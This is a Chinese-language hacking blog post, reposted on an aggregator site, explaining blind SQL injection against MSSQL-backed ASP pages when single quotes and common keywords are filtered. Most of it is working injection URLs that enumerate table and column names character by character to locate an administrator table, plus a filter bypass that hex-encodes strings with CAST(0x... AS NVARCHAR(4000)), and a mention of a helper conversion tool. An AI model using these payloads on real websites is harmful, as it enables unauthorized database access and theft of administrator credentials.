在过滤单引号的条件下进行mssql盲注脚本安全 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    # By: 蓝孩

    # 首发 www.3est.com

    # 小菜的经验总结,大牛们绕过吧,

在过滤单引号的条件下进行mssql盲注脚本安全

    最近碰到一个情况,在无报错的情况下,对未知复杂表名进行注入,且过滤了单引号和常见小写的注入关键词。当时搞的时候很是头疼,于是在解决之后很想与大家分享一下,没啥高深的技术,大牛们见笑了。

    为了方便看,我先忽略掉过滤了单引号这个条件,后面会详细说明如何突破。

    =======================================================================

    1.mssql盲注

    x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') And ascii(substring(name,1,1))>80)=1

    这样可以依次猜出第一张表名,假设这里猜出的结果是table1

    然后

    x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' And name not in ('table1')) And ascii(substring(name,1,1))>80)=1

    这里猜出第二表,假设是table2

    再然后

    x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' And name not in ('table1') And name not in ('table2')) And ascii(substring(name,1,1))>80)=1

    这里猜出第三章表,假设是……

    直到我们猜出了复杂的管理员的表,这里假设是admin_X1y4s

    然后我们继续猜字段

    这里说明一下,现在的关于盲注的文章基本上就是oldjun的那篇,那篇在叙述猜字段的时候是这样写的

    x.asp?id=1 and (select count(*) from database.dbo.syscolumns where name in (select top 1 name from database_db.dbo.syscolumns where id=object_id('database.dbo.table')) and ascii(substring(name,1,1))>90)=1

    但是我在实际测试的时候这条语句并不成功,然后改造了下:

    x.asp?id=1 And Ascii(substring((select top 1 column_name from information_schema.columns where table_name='admin_X1y4s'),1,1))>80

    经过上面这条,我们猜到了第一个字段,假设是id,那么再

    x.asp?id=1 And Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>(‘id’) And table_name='admin_x1y4s'),1,1))>80

    就可以猜出第二条字段名,依次…………

    既然表名和字段名都出来了,猜具体数据的过程我在这里就不叙述了,

电脑资料

在过滤单引号的条件下进行mssql盲注脚本安全》(https://www.unjs.com)。

    ==============================================================================

    2.如何绕过单引号

    在上面的过程中,会使用到单引号,对于单字符,可以直接使用0xffff的形式,但是对于字符串却不行,这个让自己头疼了很久,然后经过漫漫测试,发现可以利用Cast函数进行转换。

    举个例子:

    当盲注语句是 and (select count(*) from database.dbo.sysobjects where name in (select top 1 name from database.dbo.sysobjects where xtype='u' and name not in ('table1')) and ascii(substring(name,1,1))>90)=1

    于是:【table1】转换成【CAST(0x7400610062006C0065003100 AS NVARCHAR(4000))】 (就是转换成16进制)

    然后就可以使用【CAST(0x7400610062006C0065003100 AS NVARCHAR(4000))】代替【'table1'】

    【u】同理。

    为了方便大家,具体工具我贴出来。

    3EST注入辅助转换工具

   

   

   

========================================

   

||蓝孩(b1u3b0y) [3E Security Team] ||

   

========================================

   

无技术含量,就是一个16进制转换器,仅仅为了大家方便。O(∩_∩)O

   

    value="给我转">

   

   

最新文章